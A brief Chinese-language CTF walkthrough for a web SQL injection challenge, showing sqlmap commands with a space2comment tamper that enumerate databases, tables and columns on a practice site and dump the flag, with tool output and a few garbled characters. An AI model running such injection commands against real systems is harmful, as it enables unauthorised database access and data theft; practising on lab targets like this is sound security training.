不好意思，經(jīng)過了前面兩題
沖上來就是干
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tamper space2comment --dbs
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
available databases [3]:
[*] information_schema
[*] test
[*] web1
你沒看錯(cuò)雀彼，就這么跑出來了
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tamper space2comment -D web1 --tables
Database: web1
[2 tables]
+-------+
| flag? |
| web_1 |
+-------+
接下來的動(dòng)作都差不多了
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tamper space2comment -D web1 -T flag --columns
Database: web1
Table: flag
[2 columns]
+--------+----------+
| Column | Type? ? |
+--------+----------+
| flag? | char(30) |
| id? ? | int(4)? |
+--------+----------+
是不是感覺不用動(dòng)腦子就好了。。瞎嬉。
這就是結(jié)果
Database: web1
Table: flag
[1 entry]
+----------------------------+
| flag? ? ? ? ? ? ? ? ? ? ? |
+----------------------------+
| flag{Y0u_@r3_5O_dAmn_90Od} |
+----------------------------+
實(shí)驗(yàn)吧的三道題用同一個(gè)表有點(diǎn)懶啊
